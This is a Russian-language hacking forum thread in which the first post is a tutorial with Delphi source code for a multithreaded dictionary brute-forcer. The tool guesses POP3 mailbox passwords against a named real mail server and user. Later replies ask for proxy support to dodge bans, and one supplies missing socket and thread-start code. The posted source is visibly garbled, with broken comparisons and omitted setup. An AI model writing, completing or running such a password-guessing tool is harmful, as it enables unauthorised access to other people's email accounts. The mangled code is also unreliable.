Брутфорс на Delphi

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ***xaknem***, 12 Jan 2009.

  1. ***xaknem***

    ***xaknem*** New Member

    Joined:
    10 Jan 2009
    Messages:
    3
    Likes Received:
    4
    Reputations:
    0
    Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.
    POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:

    unit Unit1;

    interface

    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    ComCtrls, StdCtrls, WinSock;

    type
    TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;

    // Описание процесса
    type
    TScan = class(TThread)
    sock2 : TSocket;
    addr:TSockAddrIn;
    WSAData : TWSAData;
    private
    procedure CScan;
    protected
    procedure Execute; override;
    end;

    var
    Form1: TForm1;
    // Массив процессов
    Sock : array[1..255] of TScan;
    Rez : boolean = false;
    // Кол-во запущенных процессов на данный момент
    I0 : Integer;
    // Номер текущего пароля
    I : Integer;
    // TStringList с паролями
    PassList : TStringList;

    const
    FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
    ProcCount = 10; // кол-во процессов
    POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
    User = 'dndanil';

    implementation
    {$R *.DFM}

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    PassList:=TStringList.Create;
    end;

    // Запуск / Остановка
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if Rez then
    Rez:=false
    else
    begin
    // Открытие и загрузка файла паролей
    try
    PassList.Clear;
    PassList.LoadFromFile(FilePass);
    except
    end;
    if PassList.CountProcCount)or(not Rez) then
    break;
    end;
    end;
    end;

    // Проца инициализации процесса
    procedure TScan.Execute;
    begin
    try
    // Запуск цикла
    while true do
    begin
    CScan;
    //Выход, если подобрали или закончился словарь
    if (not Rez)or(I>=PassList.Count) then
    break;
    end;
    except
    end;
    dec(I0);
    try
    Terminate;
    except
    end;
    //Если все процессы прерваны -
    if I00 then
    begin
    try
    closesocket(sock2);
    except
    end;
    exit;
    end;
    //Получение при соединении
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]'+') then
    exit;
    //"user user"
    sender('user '+User+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    if (x=SOCKET_ERROR)or(buf[1]'+') then
    exit;
    //"pass password"
    sender('pass '+PassList.Strings[I2]+#13+#10);
    x:=recv(sock2,buf,sizeof(Buf),0);
    //Если подобралось
    if (x>3)and(buf[1]='+') then
    begin
    Rez:=false;
    Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
    exit;
    end;
    try
    closesocket(sock2);
    except
    end;
    except
    end;
    end;

    end.
     
    4 people like this.
  2. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!
     
    1 person likes this.
  3. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    терминология хромает, "отпингованый", процессы равнозначные потокам..
     
  4. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    вам корона голову не жмет? ТС и так постарался как смог.
     
  5. ***xaknem***

    ***xaknem*** New Member

    Joined:
    10 Jan 2009
    Messages:
    3
    Likes Received:
    4
    Reputations:
    0
    bombeg,извини конечно,но переписывать я не буду,кому действительно нужно,может сам переписать...Удачи!
     
  6. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?
     
  7. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    Хотя бы отформатировал нормально и код и статью, было бы намного лучше)
     
  8. bombeg

    bombeg Member

    Joined:
    27 Oct 2008
    Messages:
    136
    Likes Received:
    83
    Reputations:
    8
    есть информация ценная, есть информация ради букв.
     
  9. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    во-первых, это не херня а информация, на написание которой которой ТС потратил какое-то время.
    во-вторых, это форум и каждый волен излагать свои мысли как ему нравится, что я и сделал.
    p.s. если тебя бесит - успокойся, выпей валерьянки
     
  10. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Вообще то если так тупо ломится с неподходящими логинами/пассами.То на любом уважающем себя мыльном сервисе айпишник с которого это происходит весьма быстро уйдет в бан.
     
  11. WON

    WON New Member

    Joined:
    2 Jul 2008
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    ***xaknem***, а можешь дописать работу с прокси... Потому что код у тебя понятный, думаю если ты допишешь ничего не измениться... А то все примеры что я находил очень сложные...
     
  12. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Это будет не так то просто,брут то организован на прямую через винапи сокеты,а не инди например.
     
  13. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    bombeg, а смысл переписывать его на асм?
     
  14. MongBa†

    MongBa† Banned

    Joined:
    16 May 2008
    Messages:
    13
    Likes Received:
    9
    Reputations:
    0
    И вправду, зачем? здесь и на Делфи переписывать и дописывать )
    Старт потоков попросту отсутствует..
    for I0:=1 to ProcCount do Sock[I0]:=TScan.Create(false);
    Где WSAStartup и WSAStartup ВинСокета?
    сокет не определен, значения хоста и порта не присвоены, и он не конектит :-\
    sock:=Socket(AF_INET,SOCK_STREAM,0);
    addr.sin_family:=AF_INET;
    addr.sin_port:=htons(110);
    addr.sin_addr.S_addr:=inet_addr(PChar(POP3serv));
    if Connect(sock,Addr,Sizeof(addr))=SOCKET_ERROR then
    begin
    //понесся первый recv

    ИМХО Если уже браться писать, то хотя бы что-то работоспособное, а так, тема просто для накрутки постов и репы.. :)
     
    3 people like this.